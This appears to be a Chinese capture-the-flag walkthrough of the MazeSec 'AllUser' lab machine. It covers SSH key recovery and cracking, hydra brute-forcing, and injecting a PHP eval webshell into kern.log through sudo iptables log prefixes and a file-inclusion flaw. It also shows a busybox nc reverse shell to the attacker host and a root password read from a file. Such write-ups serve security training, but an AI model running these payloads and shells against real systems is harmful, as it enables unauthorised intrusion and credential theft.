MazeSec AllUser
# 存活主机扫描
┌──(npc㉿kali)-[~/mazesec/allUser]
└─$ sudo arp-scan -I eth2 192.168.6.0/24
192.168.6.183 08:00:27:a7:f8:de PCS Systemtechnik GmbH
2
3
4
目标主机:192.168.6.183
# TCP 全端口扫描
┌──(npc㉿kali)-[~/mazesec/allUser]
└─$ nmap -p- -sT 192.168.6.183
PORT STATE SERVICE
22/tcp open ssh
2
3
4
5
仅开放 22 端口
UDP top 100 端口扫描,发现 68/udp(DHCP 客户端)开放
┌──(npc㉿kali)-[~/mazesec/allUser]
└─$ nmap -p- -sU --top-ports 100 192.168.6.183
PORT STATE SERVICE
68/udp open|filtered dhcpc
2
3
4
5
# ssh 服务探测
尝试ssh 登录 root 看看
┌──(npc㉿kali)-[~/mazesec/allUser]
└─$ ssh root@192.168.6.183
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
6f70656e7373682d6b65792d7631000000000a6165733235362d63747200000006626372797074000000180000001028710c7b422cc65bdda5d950f01227030000001000000001000000330000000b7373682d6564323535313900000020f8f98e7aa6cf296464d4b3c7ca62f61471783237a4e2c8b7a245edf7b639a3ba00000090884782f7fb00e2d9c0895508e00708277582e3852370cc01aeb2b99cacde8cc9c2e3ed94fd6329038e15271090ee568e6059798be51fb9862473beaf44a16d01bbc6ad727ae203fb0c233efe2039d65203aaa85f5ea6e13cfce20c426cc3a6da077ea0750d3b0d487fd4cf30e194a64f13519dc0d442e779ad8fe5318c968cdecb4848a24bc4d1d08937e4c677ec8142
root@192.168.6.183's password:
2
3
4
5
6
7
SSH 返回的数据16进制数据进行转换字符串后以 openssh-key-v1 开头,符合 OpenSSH 私钥文件(v1)的格式

从结构中可以看到:
- aes256-ctr:用于加密私钥数据;
- bcrypt:作为 KDF(密钥派生函数),从口令派生出加密所用的密钥
补充:
常见 SSH 私钥的格式主要有两种:
- PEM 文本格式
以 -----BEGIN RSA PRIVATE KEY-----、-----BEGIN PRIVATE KEY----- 等开头,中间是对 二进制结构 做 base64 编码后的数据。
- OpenSSH 新格式(openssh-key-v1)
OpenSSH 为支持多种算法自定义的一种私钥容器格式。内部是结构化二进制,以 openssh-key-v1 开头;
通常也会再做一层 base64,并加上 -----BEGIN OPENSSH PRIVATE KEY----- 头尾变成文本文件。
这次靶机返回的是 OpenSSH 新格式的“裸二进制内容” 的十六进制表示。我先把十六进制还原为二进制,再手动做 base64 和 BEGIN/END OPENSSH PRIVATE KEY 封装,让工具能够正常识别和处理。
# 私钥转换
把十六进制字符串还原为原始二进制数据;
将这段二进制数据 base64 编码;
外面手动包上 -----BEGIN/END OPENSSH PRIVATE KEY-----,形成标准 PEM 封装格式。
import base64
hex_str = "6f70656e7373682d6b65792d7631000000000a6165733235362d63747200000006626372797074000000180000001028710c7b422cc65bdda5d950f01227030000001000000001000000330000000b7373682d6564323535313900000020f8f98e7aa6cf296464d4b3c7ca62f61471783237a4e2c8b7a245edf7b639a3ba00000090884782f7fb00e2d9c0895508e00708277582e3852370cc01aeb2b99cacde8cc9c2e3ed94fd6329038e15271090ee568e6059798be51fb9862473beaf44a16d01bbc6ad727ae203fb0c233efe2039d65203aaa85f5ea6e13cfce20c426cc3a6da077ea0750d3b0d487fd4cf30e194a64f13519dc0d442e779ad8fe5318c968cdecb4848a24bc4d1d08937e4c677ec8142"
# 将十六进制字符串转换为二进制数据
data = bytes.fromhex(hex_str)
# 将二进制数据转换为Base64
b64_data = base64.b64encode(data).decode('ascii')
# 构建OpenSSH私钥文件内容
key_file = f"-----BEGIN OPENSSH PRIVATE KEY-----\n{b64_data}\n-----END OPENSSH PRIVATE KEY-----\n"
# 保存到文件
with open("id_rsa", "w") as f:
f.write(key_file)
print("私钥文件已保存为 id_rsa")
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(npc㉿kali)-[~/mazesec/allUser]
└─$ python3 key.py
2
ssh2john 提取John爆破的哈希格式
ssh2john 这个工具的作用,就是解析私钥文件的结构,从中提取出用于密钥派生的关键信息:KDF 函数名 (bcrypt)、盐 (Salt)、迭代次数 (Iterations)
ssh2john id_rsa > id_rsa.hash
john 会用 bcrypt 函数,结合文件中提供的盐和迭代次数,对 字典 进行计算,生成一个候选的 AES Key,然后尝试用这个 Key 去解密私钥文件中加密的数据部分。
爆破密码,爆破出密码是 0123456
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

使用破解的密码,从私钥文件导出对应的公钥,发现公钥的注释里有用户名 sandu@AllUser
┌──(npc㉿kali)-[~/mazesec/allUser]
└─$ ssh-keygen -y -f id_rsa
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPj5jnqmzylkZNSzx8pi9hRxeDI3pOLIt6JF7fe2OaO6 sandu@AllUser
2
3
本地测试,生成过程会自带 username@hostname 注释

# ssh 登录
私钥连接 sandu 用户
ssh -i id_rsa sandu@192.168.6.183
在连接过程输入私钥密码 0123456

或者使用 ssh-keygen 移除密码
# 将带密码的私钥转换为无密码私钥
┌──(npc㉿kali)-[~/mazesec/allUser]
└─$ ssh-keygen -p -f id_rsa
Enter old passphrase: [输入原密码]
Key has comment 'sandu@AllUser'
Enter new passphrase (empty for no passphrase): [直接回车=无密码]
Enter same passphrase again: [直接回车]
Your identification has been saved with the new passphrase.
2
3
4
5
6
7
8

# 意外收获
家目录可以发现 AllUser
sandu@AllUser:~$ ls -alh /home
total 28K
drwxr-xr-x 7 root root 4.0K Nov 22 08:37 .
drwxr-xr-x 18 root root 4.0K Mar 18 2025 ..
drwx------ 2 damj damj 4.0K Nov 22 08:37 damj
drwx------ 2 mj mj 4.0K Nov 22 08:36 mj
drwx------ 2 oneoneone oneoneone 4.0K Nov 22 08:36 oneoneone
drwx------ 3 sandu sandu 4.0K Nov 22 09:07 sandu
drwx------ 2 sublarge sublarge 4.0K Nov 22 08:36 sublarge
2
3
4
5
6
7
8
9
hydra 可以爆破拿到 sandu 以外的用户密码
mj:123456
┌──(npc㉿kali)-[~/mazesec/allUser]
└─$ hydra -l mj -P /usr/share/wordlists/rockyou.txt 192.168.6.183 ssh
[22][ssh] host: 192.168.6.183 login: mj password: 123456
2
3
4
sublarge:0123456
┌──(npc㉿kali)-[~]
└─$ hydra -l sublarge -P /usr/share/wordlists/rockyou.txt 192.168.6.183 ssh -V -t 20
[22][ssh] host: 192.168.6.183 login: sublarge password: 0123456
2
3
damj 没爆出来
oneoneone 猜出来了密码是:oneoneone
# sudo 权限枚举
回到 sandu 用户,查看 sudo 权限
sandu@AllUser:~$ sudo -l
Matching Defaults entries for sandu on AllUser:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sandu may run the following commands on AllUser:
(ALL) NOPASSWD: /usr/sbin/iptables
2
3
4
5
6
可以无密码执行 iptables 命令,无法直接提权
# 内网服务探测
查看本地端口服务,发现 80 端口有 web 服务,不对外开放,socat 转发到外网看看
sandu@AllUser:~$ busybox wget http://192.168.6.101/socat
sandu@AllUser:~$ chmod +x socat
sandu@AllUser:~$ ./socat TCP-LISTEN:8080,fork TCP:127.0.0.1:80 &
2
3

访问 http://192.168.6.183:8080,发现url 有?file参数,可能是文件读取或文件包含

尝试路径穿越任意文件读取无果
如果存在文件包含且这个内核日志可控的话,就可以 getshell
# getshell
sandu 用户有 iptables 提权权限,测试 iptables 能否控制内核日志,添加一条规则,将所有输入包日志前添加 TEST 前缀,验证 kern.log 是否是可控的
sudo iptables -A INPUT -j LOG --log-prefix 'TEST'
日志出现 TEST 前缀,说明内核日志是可控的

通过控制内核日志,测试是否存在文件包含漏洞,注意不要太长,会被截断导致webshell 失败,无法再次利用,可以提前打个快照
- syslog 写日志时有行长度/缓冲截断;
- LFI 包含时,PHP 解释器只能解析到完整的 <?php ... ?> 片段,出现截掉后面
?>的情况会导致语法错误,无法执行。
sudo iptables -A INPUT -j LOG --log-prefix '<?php eval($_GET[1]);?>'
验证存在文件包含漏洞,成功执行 php 代码,服务可能会卡死,建议直接反弹shell

busybox nc 192.168.6.101 4444 -e /bin/bash
简单交互shell优化
/usr/bin/script -qc /bin/bash /dev/null
# 按下 Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
2
3
4
5
6
# 提权 root
反弹 shell 成功,拿到 www-data 权限
当前 sudo 仅允许无密码执行 /usr/bin/cmatrix,该程序本身无明显提权利用点,所以继续寻找其它突破口。
www-data@AllUser:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on AllUser:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on AllUser:
(ALL) NOPASSWD: /usr/bin/cmatrix
2
3
4
5
6
7
8

一个黑客视觉的字符流终端效果

当前目录下可以读取到 root 用户密码,由于文件名以 -- 开头,直接 cat '--help root password' 会被解析成参数。可以通过 ./'--help root password' 或 cat -- '--help root password' 来规避选项解析。
www-data@AllUser:/var/www/html$ ls -alh
ls -alh
total 28M
-rw-r--r-- 1 root root 21 Nov 22 08:45 '--help root password'
drwx------ 2 www-data www-data 4.0K Nov 22 17:21 .
drwxr-xr-x 3 root root 4.0K Apr 4 2025 ..
-rw-r--r-- 1 www-data www-data 1.7K Nov 22 09:06 index.php
-r--r--r-- 1 root root 28M Nov 23 07:40 kern.log
www-data@AllUser:/var/www/html$ cat ./'--help root password'
cat ./'--help root password'
GLgxSXMQJXMgKvqVM41r
www-data@AllUser:/var/www/html$ su root
su root
Password: GLgxSXMQJXMgKvqVM41r
root@AllUser:/var/www/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@AllUser:/var/www/html#
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19